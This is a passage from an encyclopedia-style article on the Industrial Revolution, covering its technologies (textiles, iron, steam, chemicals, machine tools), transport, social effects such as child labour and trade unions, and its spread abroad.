          In the textile sector, such mills became the model for the organisation of human labour in factories, epitomised by Cottonopolis, the name given to the vast collection of cotton mills, factories and administration offices based in Manchester. The assembly line system greatly improved efficiency, both in this and other industries. With a series of men trained to do a single task on a product, then having it moved along to the next worker, the number of finished goods also rose significantly.


          Also important was the 1756 rediscovery of concrete (based on hydraulic lime mortar) by the British engineer John Smeaton, which had been lost for 13 centuries.


          


          Transfer of knowledge


          Knowledge of new innovation was spread by several means. Workers who were trained in the technique might move to another employer or might be poached. A common method was for someone to make a study tour, gathering information where he could. During the whole of the Industrial Revolution and for the century before, all European countries and America engaged in study-touring; some nations, like Sweden and France, even trained civil servants or technicians to undertake it as a matter of state policy. In other countries, notably Britain and America, this practice was carried out by individual manufacturers anxious to improve their own methods. Study tours were common then, as now, as was the keeping of travel diaries. Records made by industrialists and technicians of the period are an incomparable source of information about their methods.
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          Another means for the spread of innovation was by the network of informal philosophical societies, like the Lunar Society of Birmingham, in which members met to discuss 'natural philosophy' (i.e. science) and often its application to manufacturing. The Lunar Society flourished from 1765 to 1809, and it has been said of them, "They were, if you like, the revolutionary committee of that most far reaching of all the eighteenth century revolutions, the Industrial Revolution". Other such societies published volumes of proceedings and transactions. For example, the London-based Royal Society of Arts published an illustrated volume of new inventions, as well as papers about them in its annual Transactions.


          There were publications describing technology. Encyclopaedias such as Harris's Lexicon Technicum (1704) and Dr Abraham Rees's Cyclopaedia (1802-1819) contain much of value. Cyclopaedia contains an enormous amount of information about the science and technology of the first half of the Industrial Revolution, very well illustrated by fine engravings. Foreign printed sources such as the Descriptions des Arts et Mtiers and Diderot's Encyclopdie explained foreign methods with fine engraved plates.


          Periodical publications about manufacturing and technology began to appear in the last decade of the 18th century, and many regularly included notice of the latest patents. Foreign periodicals, such as the Annales des Mines, published accounts of travels made by French engineers who observed British methods on study tours.


          


          Technological developments in Britain


          


          Textile manufacture
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          In the early 18th century, British textile manufacture was based on wool which was processed by individual artisans, doing the spinning and weaving on their own premises. This system is called a cottage industry. Flax and cotton were also used for fine materials, but the processing was difficult because of the pre-processing needed, and thus goods in these materials made only a small proportion of the output.


          Use of the spinning wheel and hand loom restricted the production capacity of the industry, but incremental advances increased productivity to the extent that manufactured cotton goods became the dominant British export by the early decades of the 19th century. India was displaced as the premier supplier of cotton goods.


          Lewis Paul patented the Roller Spinning machine and the flyer-and-bobbin system for drawing wool to a more even thickness, developed with the help of John Wyatt in Birmingham. Paul and Wyatt opened a mill in Birmingham which used their new rolling machine powered by a donkey. In 1743, a factory was opened in Northampton with fifty spindles on each of five of Paul and Wyatt's machines. This operated until about 1764. A similar mill was built by Daniel Bourn in Leominster, but this burnt down. Both Lewis Paul and Daniel Bourn patented carding machines in 1748. Using two sets of rollers that travelled at different speeds, it was later used in the first cotton spinning mill. Lewis's invention was later developed and improved by Richard Arkwright in his water frame and Samuel Crompton in his spinning mule.


          Other inventors increased the efficiency of the individual steps of spinning (carding, twisting and spinning, and rolling) so that the supply of yarn increased greatly, which fed a weaving industry that was advancing with improvements to shuttles and the loom or 'frame'. The output of an individual labourer increased dramatically, with the effect that the new machines were seen as a threat to employment, and early innovators were attacked and their inventions destroyed.


          To capitalise upon these advances, it took a class of entrepreneurs, of which the most famous is Richard Arkwright. He is credited with a list of inventions, but these were actually developed by people such as Thomas Highs and John Kay; Arkwright nurtured the inventors, patented the ideas, financed the initiatives, and protected the machines. He created the cotton mill which brought the production processes together in a factory, and he developed the use of power  first horse power and then water power  which made cotton manufacture a mechanised industry. Before long steam power was applied to drive textile machinery.


          


          Metallurgy
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          The major change in the metal industries during the era of the Industrial Revolution was the replacement of organic fuels based on wood with fossil fuel based on coal. Much of this happened somewhat before the Industrial Revolution, based on innovations by Sir Clement Clerke and others from 1678, using coal reverberatory furnaces known as cupolas. These were operated by the flames, which contained carbon monoxide, playing on the ore and reducing the oxide to metal. This has the advantage that impurities (such as sulphur) in the coal do not migrate into the metal. This technology was applied to lead from 1678 and to copper from 1687. It was also applied to iron foundry work in the 1690s, but in this case the reverberatory furnace was known as an air furnace. The foundry cupola is a different (and later) innovation.


          This was followed by Abraham Darby, who made great strides using coke to fuel his blast furnaces at Coalbrookdale in 1709. However, the coke pig iron he made was used mostly for the production of cast iron goods such as pots and kettles. He had the advantage over his rivals in that his pots, cast by his patented process, were thinner and cheaper than theirs. Coke pig iron was hardly used to produce bar iron in forges until the mid 1750s, when his son Abraham Darby II built Horsehay and Ketley furnaces (not far from Coalbrookdale). By then, coke pig iron was cheaper than charcoal pig iron.


          Bar iron for smiths to forge into consumer goods was still made in finery forges, as it long had been. However, new processes were adopted in the ensuing years. The first is referred to today as potting and stamping, but this was superseded by Henry Cort's puddling process. From 1785, perhaps because the improved version of potting and stamping was about to come out of patent, a great expansion in the output of the British iron industry began. The new processes did not depend on the use of charcoal at all and were therefore not limited by charcoal sources.


          Up to that time, British iron manufacturers had used considerable amounts of imported iron to supplement native supplies. This came principally from Sweden from the mid 17th century and later also from Russia from the end of the 1720s. However, from 1785, imports decreased because of the new iron making technology, and Britain became an exporter of bar iron as well as manufactured wrought iron consumer goods.


          Since iron was becoming cheaper and more plentiful, it also became a major structural material following the building of the innovative The Iron Bridge in 1778 by Abraham Darby III.


          
            [image: The Iron Bridge]

            
              The Iron Bridge
            

          


          An improvement was made in the production of steel, which was an expensive commodity and used only where iron would not do, such as for the cutting edge of tools and for springs. Benjamin Huntsman developed his crucible steel technique in the 1740s. The raw material for this was blister steel, made by the cementation process.


          The supply of cheaper iron and steel aided the development of boilers and steam engines, and eventually railways. Improvements in machine tools allowed better working of iron and steel and further boosted the industrial growth of Britain.


          


          Mining


          Coal mining in Britain, particularly in South Wales started early. Before the steam engine, pits were often shallow bell pits following a seam of coal along the surface, which were abandoned as the coal was extracted. In other cases, if the geology was favourable, the coal was mined by means of an adit or drift mine driven into the side of a hill. Shaft mining was done in some areas, but the limiting factor was the problem of removing water. It could be done by hauling buckets of water up the shaft or to a sough (a tunnel driven into a hill to drain a mine). In either case, the water had to be discharged into a stream or ditch at a level where it could flow away by gravity. The introduction of the steam engine greatly facilitated the removal of water and enabled shafts to be made deeper, enabling more coal to be extracted. These were developments that had begun before the Industrial Revolution, but the adoption of James Watt's more efficient steam engine from the 1770s reduced the fuel costs of engines, making mines more profitable. Coal mining was very dangerous owing to the presence of firedamp in many coal seams. Some degree of safety was provided by the safety lamp which was invented in 1816 by Sir Humphrey Davy and independently by George Stephenson. However, the lamps proved a false dawn because they became unsafe very quickly and provided a weak light. Firedamp explosions continued , often setting off coal dust explosions, so casualties grew during the entire nineteenth century. Conditions of work were very poor, with a high casualty rate from rock falls.


          


          Steam power
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          The development of the stationary steam engine was an essential early element of the Industrial Revolution; however, for most of the period of the Industrial Revolution, the majority of industries still relied on wind and water power as well as horse and man-power for driving small machines.


          The first real attempt at industrial use of steam power was due to Thomas Savery in 1698. He constructed and patented in London a low-lift combined vacuum and pressure water pump, that generated about one horsepower (hp) and was used as in numerous water works and tried in a few mines (hence its "brand name", The miner's Friend), but it was not a success since it was limited in pumping height and prone to boiler explosions.
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          The first safe and successful steam power plant was introduced by Thomas Newcomen from 1719. Newcomen apparently conceived his machine quite independently of Savery, but as the latter had taken out a very wide-ranging patent, Newcomen and his associates were obliged to come to an arrangement with him, marketing the engine until 1733 under a joint patent. Newcomen's engine appears to have been based on Papin's experiments carried out 30 years earlier, and employed a piston and cylinder, one end of which was open to the atmosphere above the piston. Steam just above atmospheric pressure (all that the boiler could stand) was introduced into the lower half of the cylinder beneath the piston during the gravity-induced upstroke; the steam was then condensed by a jet of cold water injected into the steam space to produce a partial vacuum; the pressure differential between the atmosphere and the vacuum on either side of the piston displaced it downwards into the cylinder, raising the opposite end of a rocking beam to which was attached a gang of gravity-actuated reciprocating force pumps housed in the mineshaft. The engine's downward power stroke raised the pump, priming it and preparing the pumping stroke. At first the phases were controlled by hand, but within ten years an escapement mechanism had been devised worked by of a vertical plug tree suspended from the rocking beam which rendered the engine self-acting.


          A number of Newcomen engines were successfully put to use in Britain for draining hitherto unworkable deep mines, with the engine on the surface; these were large machines, requiring a lot of capital to build, and produced about 5hp (3.7kW). They were extremely inefficient by modern standards, but when located where coal was cheap at pit heads, opened up a great expansion in coal mining by allowing mines to go deeper. Despite their disadvantages, Newcomen engines were reliable and easy to maintain and continued to be used in the coalfields until the early decades of the nineteenth century. By 1729, when Newcomen died, his engines had spread (first) to Hungary in 1722 ,Germany, Austria, and Sweden. A total of 110 are known to have been built by 1733 when the joint patent expired, of which 14 were abroad. In the 1770s, the engineer John Smeaton built some very large examples and introduced a number of improvements. A total of 1,454 engines had been built by 1800.
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          A fundamental change in working principles was brought about by James Watt. With the close collaboration Matthew Boulton, he had succeeded by 1778 in perfecting his steam engine, which incorporated a series of radical improvements, notably the closing off of the upper part of the cylinder thereby making the low pressure steam drive the top of the piston instead of the atmosphere, use of a steam jacket and the celebrated separate steam condenser chamber. All this meant that a more constant temperature could be maintained in the cylinder and that engine efficiency no longer varied according to atmospheric conditions. These improvements increased engine efficiency by a factor of about five, saving 75% on coal costs.


          Nor could the atmospheric engine be easily adapted to drive a rotating wheel, although Wasborough and Pickard did succeed in doing so towards 1780. However by 1783 the more economical Watt steam engine had been fully developed into a double-acting rotative type, which meant that it could be used to directly drive the rotary machinery of a factory or mill. Both of Watt's basic engine types were commercially very successful, and by 1800, the firm Boulton & Watt had constructed 496 engines, with 164 driving reciprocating pumps, 24 serving blast furnaces, and 308 powering mill machinery; most of the engines generated from 5 to 10hp (7.5kW).


          The development of machine tools, such as the lathe, planing and shaping machines powered by these engines, enabled all the metal parts of the engines to be easily and accurately cut and in turn made it possible to build larger and more powerful engines.


          Until about 1800, the most common pattern of steam engine was the beam engine, built as an integral part of a stone or brick engine-house, but soon various patterns of self-contained portative engines (readily removable, but not on wheels) were developed, such as the table engine. Towards the turn of the 19th century, the Cornish engineer Richard Trevithick, and the American, Oliver Evans began to construct higher pressure non-condensing steam engines, exhausting against the atmosphere. This allowed an engine and boiler to be combined into a single unit compact enough to be used on mobile road and rail locomotives and steam boats.


          In the early 19th century after the expiration of Watt's patent, the steam engine underwent many improvements by a host of inventors and engineers.


          


          Chemicals
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          The large scale production of chemicals was an important development during the Industrial Revolution. The first of these was the production of sulphuric acid by the lead chamber process invented by the Englishman John Roebuck (James Watt's first partner) in 1746. He was able to greatly increase the scale of the manufacture by replacing the relatively expensive glass vessels formerly used with larger, less expensive chambers made of riveted sheets of lead. Instead of a few pounds at a time, he was able to make a hundred pounds (45 kg) or so at a time in each of the chambers.


          The production of an alkali on a large scale became an important goal as well, and Nicolas Leblanc succeeded in 1791 in introducing a method for the production of sodium carbonate. The Leblanc process was a reaction of sulphuric acid with sodium chloride to give sodium sulphate and hydrochloric acid. The sodium sulphate was heated with limestone (calcium carbonate) and coal to give a mixture of sodium carbonate and calcium sulphide. Adding water separated the soluble sodium carbonate from the calcium sulphide. The process produced a large amount of pollution (the hydrochloric acid was initially vented to the air, and calcium sulphide was a useless waste product). Nonetheless, this synthetic soda ash proved economical compared to that from burning certain plants ( barilla) or from kelp, which were the previously dominant sources of soda ash, and also to potash ( potassium carbonate) derived from hardwood ashes.


          These two chemicals were very important because they enabled the introduction of a host of other inventions, replacing many small-scale operations with more cost-effective and controllable processes. Sodium carbonate had many uses in the glass, textile, soap, and paper industries. Early uses for sulphuric acid included pickling (removing rust) iron and steel, and for bleaching cloth.


          The development of bleaching powder ( calcium hypochlorite) by Scottish chemist Charles Tennant in about 1800, based on the discoveries of French chemist Claude Louis Berthollet, revolutionised the bleaching processes in the textile industry by dramatically reducing the time required (from months to days) for the traditional process then in use, which required repeated exposure to the sun in bleach fields after soaking the textiles with alkali or sour milk. Tennant's factory at St Rollox, North Glasgow, became the largest chemical plant in the world.


          In 1824 Joseph Aspdin, a British brick layer turned builder, patented a chemical process for making portland cement which was an important advance in the building trades. This process involves sintering a mixture of clay and limestone to about 1400 C, then grinding it into a fine powder which is then mixed with water, sand and gravel to produce concrete. Portland cement was used by the famous English engineer Marc Isambard Brunel several years later when constructing the Thames Tunnel. Cement was used on a large scale in the construction of the London sewerage system a generation later.


          


          Machine tools
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          The Industrial Revolution could not have developed without machine tools, for they enabled manufacturing machines to be made. They have their origins in the tools developed in the 18th century by makers of clocks and watches and scientific instrument makers to enable them to batch-produce small mechanisms. The mechanical parts of early textile machines were sometimes called 'clock work' because of the metal spindles and gears they incorporated. The manufacture of textile machines drew craftsmen from these trades and is the origin of the modern engineering industry.


          Machines were built by various craftsmen carpenters made wooden framings, and smiths and turners made metal parts. A good example of how machine tools changed manufacturing took place in Birmingham, England, in 1830. The invention of a new machine by William Joseph Gillott, William Mitchell and James Stephen Perry allowed mass manufacture of robust, cheap steel pen nibs; the process had been laborious and expensive. Because of the difficulty of manipulating metal and the lack of machine tools, the use of metal was kept to a minimum. Wood framing had the disadvantage of changing dimensions with temperature and humidity, and the various joints tended to rack (work loose) over time. As the Industrial Revolution progressed, machines with metal frames became more common, but they required machine tools to make them economically. Before the advent of machine tools, metal was worked manually using the basic hand tools of hammers, files, scrapers, saws and chisels. Small metal parts were readily made by this means, but for large machine parts, production was very laborious and costly.
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          Apart from workshop lathes used by craftsmen, the first large machine tool was the cylinder boring machine used for boring the large-diameter cylinders on early steam engines. The planing machine, the slotting machine and the shaping machine were developed in the first decades of the 19th century. Although the milling machine was invented at this time, it was not developed as a serious workshop tool until during the Second Industrial Revolution.


          Military production had a hand in the development of machine tools. Henry Maudslay, who trained a school of machine tool makers early in the 19th century, was employed at the Royal Arsenal, Woolwich, as a young man where he would have seen the large horse-driven wooden machines for cannon boring made and worked by the Verbruggans. He later worked for Joseph Bramah on the production of metal locks, and soon after he began working on his own. He was engaged to build the machinery for making ships' pulley blocks for the Royal Navy in the Portsmouth Block Mills. These were all metal and were the first machines for mass production and making components with a degree of interchangeability. The lessons Maudslay learned about the need for stability and precision he adapted to the development of machine tools, and in his workshops he trained a generation of men to build on his work, such as Richard Roberts, Joseph Clement and Joseph Whitworth.


          James Fox of Derby had a healthy export trade in machine tools for the first third of the century, as did Matthew Murray of Leeds. Roberts was a maker of high-quality machine tools and a pioneer of the use of jigs and gauges for precision workshop measurement.


          


          Gas lighting


          Another major industry of the later Industrial Revolution was gas lighting. Though others made a similar innovation elsewhere, the large scale introduction of this was the work of William Murdoch, an employee of Boulton and Watt, the Birmingham steam engine pioneers. The process consisted of the large scale gasification of coal in furnaces, the purification of the gas (removal of sulphur, ammonium, and heavy hydrocarbons), and its storage and distribution. The first gaslighting utilities were established in London between 1812-20. They soon became one of the major consumers of coal in the UK. Gaslighting had in impact on social and industrial organisation because it allowed factories and stores to remain open longer than with tallow candles or oil. Its introduction allowed night life to flourish in cities and towns as interiors and street could be lighted on a larger scale than before.


          


          Glass making
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          A new method of producing glass, known as the cylinder process, was developed in Europe during the early 19th century. In 1832, this process was used by the Chance Brothers to create sheet glass. They became the leading producers of window and plate glass. This advancement allowed for larger panes of glass to be created without interruption, thus freeing up the space planning in interiors as well as the fenestration of buildings. The crystal palace is the supreme example of the use of sheet glass in a new and innovative structure.


          


          Agriculture
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          In the mid nineteenth century John Fowler, an engineer and inventor, began to look at the possibility of using steam engines for ploughing and digging drainage channels. The system that he invented involved either a single stationary engine at the corner of a field drawing a plough via sets of winches and pulleys, or two engines placed at either end of a field drawing the plough backwards and forwards between them by means of a cable attached to winches. Fowler's ploughing system vastly reduced the cost of ploughing farmland compared with horse-drawn ploughs. Also his ploughing system, when used for digging drainage channels, made possible the cultivation of previously unusable swampy land. The traction engine later became a common sight in working threshing machines during haymaking time and ploughing fields.


          


          Transport in Britain


          At the beginning of the Industrial Revolution, inland transport was by navigable rivers and roads, with coastal vessels employed to move heavy goods by sea. Railways or wagon ways were used for conveying coal to rivers for further shipment, but canals had not yet been constructed. Animals supplied all of the motive power on land, with sails providing the motive power on the sea.


          The Industrial Revolution improved Britain's transport infrastructure with a turnpike road network, a canal, and waterway network, and a railway network. Raw materials and finished products could be moved more quickly and cheaply than before. Improved transportation also allowed new ideas to spread quickly.


          


          Coastal sail


          Sailing vessels had long been used for moving goods round the British coast. The trade transporting coal to London from Newcastle had begun in mediaeval times. The major international seaports such as London, Bristol, and Liverpool, were the means by which raw materials such as cotton might be imported and finished goods exported. Transporting goods onwards within Britain by sea was common during the whole of the Industrial Revolution and only fell away with the growth of the railways at the end of the period.


          


          Navigable rivers


          All the major rivers of the United Kingdom were navigable during the Industrial Revolution. Some were anciently navigable, notably the Severn, Thames, and Trent. Some were improved, or had navigation extended upstream, but usually in the period before the Industrial Revolution, rather than during it.


          The Severn, in particular, was used for the movement of goods to the Midlands which had been imported into Bristol from abroad, and for the export of goods from centres of production in Shropshire (such as iron goods from Coalbrookdale) and the Black Country. Transport was by way of trowssmall sailing vessels which could pass the various shallows and bridges in the river. The trows could navigate the Bristol Channel to the South Wales ports and Somerset ports, such as Bridgwater and even as far as France.


          


          Canals
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          Canals began to be built in the late eighteenth century to link the major manufacturing centres in the Midlands and north with seaports and with London, at that time itself the largest manufacturing centre in the country. Canals were the first technology to allow bulk materials to be easily transported across country. A single canal horse could pull a load dozens of times larger than a cart at a faster pace. By the 1820s, a national network was in existence. Canal construction served as a model for the organisation and methods later used to construct the railways. They were eventually largely superseded as profitable commercial enterprises by the spread of the railways from the 1840s on.


          Britain's canal network, together with its surviving mill buildings, is one of the most enduring features of the early Industrial Revolution to be seen in Britain.


          


          Roads
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          Much of the original British road system was poorly maintained by thousands of local parishes, but from the 1720s (and occasionally earlier) turnpike trusts were set up to charge tolls and maintain some roads. Increasing numbers of main roads were turnpiked from the 1750s to the extent that almost every main road in England and Wales was the responsibility of some turnpike trust. New engineered roads were built by John Metcalf, Thomas Telford and John Macadam. The major turnpikes radiated from London and were the means by which the Royal Mail was able to reach the rest of the country. Heavy goods transport on these roads was by means of slow, broad wheeled, carts hauled by teams of horses. Lighter goods were conveyed by smaller carts or by teams of pack horse. Stage coaches carried the rich, and the less wealthy could pay to ride on carriers carts.


          


          Railways
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          Wagonways for moving coal in the mining areas had started in the 17th century and were often associated with canal or river systems for the further movement of coal. These were all horse drawn or relied on gravity, with a stationary steam engine to haul the wagons back to the top of the incline. The first applications of the steam locomotive were on wagon or plate ways (as they were then often called from the cast iron plates used). Horse-drawn public railways did not begin until the early years of the 19th century. Steam-hauled public railways began with the Stockton and Darlington Railway in 1825 and the Liverpool and Manchester Railway in 1830. Construction of major railways connecting the larger cities and towns began in the 1830s but only gained momentum at the very end of the first Industrial Revolution.


          After many of the workers had completed the railways, they did not return to their rural lifestyles but instead remained in the cities, providing additional workers for the factories.


          Railways helped Britain's trade enormously, providing a quick and easy way of transport.


          


          Social effects


          In terms of social structure, the Industrial Revolution witnessed the triumph of a middle class of industrialists and businessmen over a landed class of nobility and gentry.


          Ordinary working people found increased opportunities for employment in the new mills and factories, but these were often under strict working conditions with long hours of labour dominated by a pace set by machines. However, harsh working conditions were prevalent long before the Industrial Revolution took place. Pre-industrial society was very static and often cruelchild labour, dirty living conditions and long working hours were just as prevalent before the Industrial Revolution.


          


          Factories and urbanisation
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          Industrialisation led to the creation of the factory. Arguably the first was John Lombe's water-powered silk mill at Derby, operational by 1721. However, the rise of the factory came somewhat later when cotton spinning was mechanised.


          The factory system was largely responsible for the rise of the modern city, as large numbers of workers migrated into the cities in search of employment in the factories. Nowhere was this better illustrated than the mills and associated industries of Manchester, nicknamed " Cottonopolis", and arguably the world's first industrial city. For much of the 19th century, production was done in small mills, which were typically water-powered and built to serve local needs. Later each factory would have its own steam engine and a chimney to give an efficient draft through its boiler.


          The transition to industrialisation was not without difficulty. For example, a group of English workers known as Luddites formed to protest against industrialisation and sometimes sabotaged factories.


          In other industries the transition to factory production was not so divisive. Some industrialists themselves tried to improve factory and living conditions for their workers. One of the earliest such reformers was Robert Owen, known for his pioneering efforts in improving conditions for workers at the New Lanark mills, and often regarded as one of the key thinkers of the early socialist movement.


          By 1746, an integrated brass mill was working at Warmley near Bristol. Raw material went in at one end, was smelted into brass and was turned into pans, pins, wire, and other goods. Housing was provided for workers on site. Josiah Wedgwood and Matthew Boulton were other prominent early industrialists, who employed the factory system.


          


          Child labour
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          The Industrial Revolution led to a population increase, but the chance of surviving childhood did not improve throughout the industrial revolution (although infant mortality rates were improved markedly). There was still limited opportunity for education, and children were expected to work. Employers could pay a child less than an adult even though their productivity was comparable; there was no need for strength to operate an industrial machine, and since the industrial system was completely new there were no experienced adult labourers. This made child labour the labour of choice for manufacturing in the early phases of the Industrial Revolution between the 18th and 19th centuries.


          Child labour had existed before the Industrial Revolution, but with the increase in population and education it became more visible. Before the passing of laws protecting children, many were forced to work in terrible conditions for much lower pay than their elders.


          Reports were written detailing some of the abuses, particularly in the coal mines and textile factories and these helped to popularise the children's plight. The public outcry, especially among the upper and middle classes, helped stir change in the young workers' welfare.


          Politicians and the government tried to limit child labour by law, but factory owners resisted; some felt that they were aiding the poor by giving their children money to buy food to avoid starvation, and others simply welcomed the cheap labour. In 1833 and 1844, the first general laws against child labour, the Factory Acts, were passed in England: Children younger than nine were not allowed to work, children were not permitted to work at night, and the work day of youth under the age of 18 was limited to twelve hours. Factory inspectors supervised the execution of the law. About ten years later, the employment of children and women in mining was forbidden. These laws decreased the number of child labourers; however, child labour remained in Europe up to the 20th century.


          


          Housing
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          Living conditions during the Industrial Revolution varied from the splendour of the homes of the owners to the squalor of the lives of the workers. Cliffe Castle, Keighley, is a good example of how the newly rich chose to live. This is a large home modelled loosely on a castle with towers and garden walls. The home is very large and was surrounded by a massive garden, the Cliffe Castle is now open to the public as a museum.


          Poor people lived in very small houses in cramped streets. These homes would share toilet facilities, have open sewers and would be at risk of damp. Disease was spread through a contaminated water supply. Conditions did improve during the 19th century as public health acts were introduced covering things such as sewage, hygiene and making some boundaries upon the construction of homes. Not everybody lived in homes like these. The Industrial Revolution created a larger middle class of professionals such as lawyers and doctors. The conditions for the poor improved over the course of the 19th century because of government and local plans which led to cities becoming cleaner places, but life had not been easy for the poor before industrialisation. However, as a result of the Revolution, huge numbers of the working class died due to diseases spreading through the cramped living conditions. Chest diseases from the mines, cholera from polluted water and typhoid were also extremely common, as was smallpox. Accidents in factories with child and female workers were regular. Dickens' novels perhaps best illustrate this; even some government officials were horrified by what they saw. Strikes and riots by workers were also relatively common.


          


          Luddites
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          The rapid industrialisation of the English economy cost many craft workers their jobs. The movement started first with lace and hosiery workers near Nottingham and spread to other areas of the textile industry owing to early industrialisation. Many weavers also found themselves suddenly unemployed since they could no longer compete with machines which only required relatively limited (and unskilled) labour to produce more cloth than a single weaver. Many such unemployed workers, weavers and others, turned their animosity towards the machines that had taken their jobs and began destroying factories and machinery. These attackers became known as Luddites, supposedly followers of Ned Ludd, a folklore figure. The first attacks of the Luddite movement began in 1811. The Luddites rapidly gained popularity, and the British government took drastic measures using the militia or army to protect industry. Those rioters who were caught were tried and hanged, or transported for life.


          Unrest continued in other sectors as they industrialised, such as agricultural labourers in the 1830s, when large parts of southern Britain were affected by the Captain Swing disturbances. Threshing machines were a particular target, and rick burning was a popular activity. The riots led however, to the first formation of trade unions, and further pressure for reform.


          


          Organisation of labour
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          The Industrial Revolution concentrated labour into mills, factories and mines, thus facilitating the organisation of combinations or trade unions to help advance the interests of working people. The power of a union could demand better terms by withdrawing all labour and causing a consequent cessation of production. Employers had to decide between giving in to the union demands at a cost to themselves or suffer the cost of the lost production. Skilled workers were hard to replace, and these were the first groups to successfully advance their conditions through this kind of bargaining.


          The main method the unions used to effect change was strike action. Many strikes were painful events for both sides, the unions and the management. In England, the Combination Act forbade workers to form any kind of trade union from 1799 until its repeal in 1824. Even after this, unions were still severely restricted.


          In 1832, the year of the Reform Act which extended the vote in England but did not grant universal suffrage, six men from Tolpuddle in Dorset founded the Friendly Society of Agricultural Labourers to protest against the gradual lowering of wages in the 1830s. They refused to work for less than 10 shillings a week, although by this time wages had been reduced to seven shillings a week and were due to be further reduced to six shillings. In 1834 James Frampton, a local landowner, wrote to the Prime Minister, Lord Melbourne, to complain about the union, invoking an obscure law from 1797 prohibiting people from swearing oaths to each other, which the members of the Friendly Society had done. James Brine, James Hammett, George Loveless, George's brother James Loveless, George's brother in-law Thomas Standfield, and Thomas's son John Standfield were arrested, found guilty, and transported to Australia. They became known as the Tolpuddle martyrs. In the 1830s and 1840s the Chartist movement was the first large scale organised working class political movement which campaigned for political equality and social justice. Its Charter of reforms received over three million signatures but was rejected by Parliament without consideration.


          Working people also formed friendly societies and co-operative societies as mutual support groups against times of economic hardship. Enlightened industrialists, such as Robert Owen also supported these organisations to improve the conditions of the working class.


          Unions slowly overcame the legal restrictions on the right to strike. In 1842, a General Strike involving cotton workers and colliers was organised through the Chartist movement which stopped production across Great Britain.


          Eventually effective political organisation for working people was achieved through the trades unions who, after the extensions of the franchise in 1867 and 1885, began to support socialist political parties that later merged to became the British Labour Party.


          


          Other effects


          The application of steam power to the industrial processes of printing supported a massive expansion of newspaper and popular book publishing, which reinforced rising literacy and demands for mass political participation.


          During the Industrial Revolution, the life expectancy of children increased dramatically. The percentage of the children born in London who died before the age of five decreased from 74.5% in 1730 - 1749 to 31.8% in 1810 - 1829. Also, there was a significant increase in worker wages during the period 1813-1913.


          


          Industrial Revolution elsewhere


          


          United States


          As in Britain, the United States originally used water power to run its factories, with the consequence that industrialisation was essentially limited to New England and the rest of the Northeastern United States, where fast-moving rivers were located. However, the raw materials (cotton) came from the Southern United States. It was not until after the American Civil War in the 1860s that steam-powered manufacturing overtook water-powered manufacturing, allowing the industry to fully spread across the nation.
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          Samuel Slater (17681835) is popularly known as the founder of the American cotton industry. As a boy apprentice in Derbyshire, England he learnt of the new techniques in the textile industry and defied laws against the emigration of skilled workers by leaving for New York in 1789, hoping to make money with his knowledge. Slater started Slater's mill at Pawtucket, Rhode Island, in 1793 and went on to own thirteen textile mills. Daniel Day established a wool carding mill in the Blackstone Valley at Uxbridge, Massachusetts in 1810, the third woollen mill established in the U.S. (The first was in Hartford, CT, and the second at Watertown, MA). The John H. Chafee Blackstone River Valley National Heritage Corridor retraces the history of "America's Hardest working River', the Blackstone. The Blackstone River and its tributaries, which cover more than 45miles (72km) from Worcester to Providence, was the birthplace of America's Industrial Revolution. At its peak over 1100 mills operated in this valley, including Slater's mill, and with it the earliest beginnings of America's Industrial and Technological Development. (see also Blackstone River Valley National Heritage Corridor)


          While on a trip to England in 1810, Newburyport, Massachusetts merchant Francis Cabot Lowell was allowed to tour the British textile factories, but not take notes. Realising the War of 1812 had ruined his import business but that a market for domestic finished cloth was emerging in America, he memorised the design of textile machines, and on his return to the United States, he set up the Boston Manufacturing Company. Lowell and his partners built America's first cotton-to-cloth textile mill at Waltham, Massachusetts. After his death in 1817, his Associates built America's first planned factory town, which they named after him. This enterprise was capitalised in a public stock offering, one of the first uses of it in the United States. Lowell, Massachusetts, utilising 5.6miles (9.0km) of canals and ten thousand horsepower delivered by the Merrimack River, is considered the 'Cradle of the American Industrial Revolution'. The short-lived utopia-like Lowell System was formed, as a direct response to the poor working conditions in Britain. However, by 1850, especially following the Irish Potato Famine, the system had been replaced by poor immigrant labour.


          


          Continental Europe


          The Industrial Revolution on Continental Europe came later than in Great Britain. In many industries, this involved the application of technology developed in Britain in new places. Often the technology was purchased from Britain or British engineers and entrepreneurs moved abroad in search of new opportunities. By 1809 part of the Ruhr Valley in Westphalia were being called Miniature England because of its similarities to the industrial areas of England. The German, Russian and Belgian governments all provided state funding to the new industries.


          In some cases (such as iron), the different availability of resources locally meant that only some aspects of the British technology were adopted.


          



          


          Japan


          In 1871 a group of Japanese politicians known as the Iwakura Mission toured Europe and the USA to learn western ways. The result was a deliberate state led industrialisation policy to prevent Japan from falling behind. The Bank of Japan, founded in 1877, used taxes to fund model steel and textile factories. Education was expanded and Japanese students were sent to study in the west.


          


          Second Industrial Revolutions and later evolution
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          The insatiable demand of the railways for more durable rail led to the development of the means to cheaply mass-produce steel. Steel is often cited as the first of several new areas for industrial mass-production, which are said to characterise a "Second Industrial Revolution", beginning around 1850, although a method for mass manufacture of steel was not invented until the 1860s, when Sir Henry Bessemer invented a new furnace which could make wrought iron and steel in large quantities. However, it only became widely available in the 1870s. This second Industrial Revolution gradually grew to include the chemical industries, petroleum refining and distribution, electrical industries, and, in the twentieth century, the automotive industries, and was marked by a transition of technological leadership from Britain to the United States and Germany.


          The introduction of hydroelectric power generation in the Alps enabled the rapid industrialisation of coal-deprived northern Italy, beginning in the 1890s. The increasing availability of economical petroleum products also reduced the importance of coal and further widened the potential for industrialisation.


          Marshall McLuhan analysed the social and cultural impact of the electric age. While the previous age of mechanisation had spread the idea of splitting every process into a sequence, this was ended by the introduction of the instant speed of electricity that brought simultaneity. This imposed the cultural shift from the approach of focusing on "specialized segments of attention" (adopting one particular perspective), to the idea of "instant sensory awareness of the whole", an attention to the "total field", a "sense of the whole pattern". It made evident and prevalent the sense of "form and function as a unity", an "integral idea of structure and configuration". This had major impact in the disciplines of painting (with cubism), physics, poetry, communication and educational theory.


          By the 1890s, industrialisation in these areas had created the first giant industrial corporations with burgeoning global interests, as companies like U.S. Steel, General Electric, and Bayer AG joined the railroad companies on the world's stock markets.


          


          Intellectual paradigms and criticism


          


          Capitalism


          The advent of The Enlightenment provided an intellectual framework which welcomed the practical application of the growing body of scientific knowledge  a factor evidenced in the systematic development of the steam engine, guided by scientific analysis, and the development of the political and sociological analyses, culminating in Adam Smith's The Wealth of Nations. One of the main arguments for capitalism, presented for example in the book The Improving State of the World, is that industrialisation increases wealth for all, as evidenced by raised life expectancy, reduced working hours, and no work for children and the elderly.


          


          Marxism


